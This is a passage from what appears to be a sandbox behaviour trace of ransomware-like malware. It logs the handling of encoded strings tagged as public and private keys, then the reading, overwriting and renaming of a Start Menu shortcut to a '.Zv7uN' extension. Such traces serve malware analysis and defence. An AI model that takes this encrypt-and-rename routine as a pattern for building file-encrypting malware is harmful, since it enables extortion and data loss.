MOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0133.662] GetCurrentThreadId () returned 0xa30 [0133.662] GetCurrentThreadId () returned 0xa30 [0133.662] GetCurrentThreadId () returned 0xa30 [0133.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.663] GetCurrentThreadId () returned 0xa30 [0133.663] GetCurrentThreadId () returned 0xa30 [0133.663] GetCurrentThreadId () returned 0xa30 [0133.663] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.663] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.663] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.663] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xbe2 [0133.663] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.663] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0xbe2, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f3d4*=0xbe2, lpOverlapped=0x0) returned 1 [0133.741] CloseHandle (hObject=0x1e8) returned 1 [0133.742] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.765] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0xbe2, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f3e0*=0xbe2, lpOverlapped=0x0) returned 1 [0133.767] CloseHandle (hObject=0x1e8) returned 1 [0133.768] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Designer 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath designer 2010.lnk.zv7un")) returned 1 [0133.769] GetCurrentThreadId () returned 0xa30 [0133.769] GetCurrentThreadId () returned 0xa30 [0133.769] GetCurrentThreadId () returned 0xa30 [0133.769] GetCurrentThreadId () returned 0xa30 [0133.769] GetCurrentThreadId () returned 0xa30 [0133.769] GetCurrentThreadId () returned 0xa30 [0133.769] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft InfoPath Filler 2010.lnk", cAlternateFileName="MICROS~4.LNK")) returned 1 [0133.770] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.770] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.770] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7805e570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7805e570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xbd2)) returned 1 [0133.770] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft infopath filler 2010.lnk")) returned 0x20 [0133.770] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft InfoPath Filler 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.772] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.773] GetCurrentThreadId () returned 0xa30 [0133.773] GetCurrentThreadId () returned 0xa30 [0133.774] GetCurrentThreadId () returned 0xa30 [0133.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, 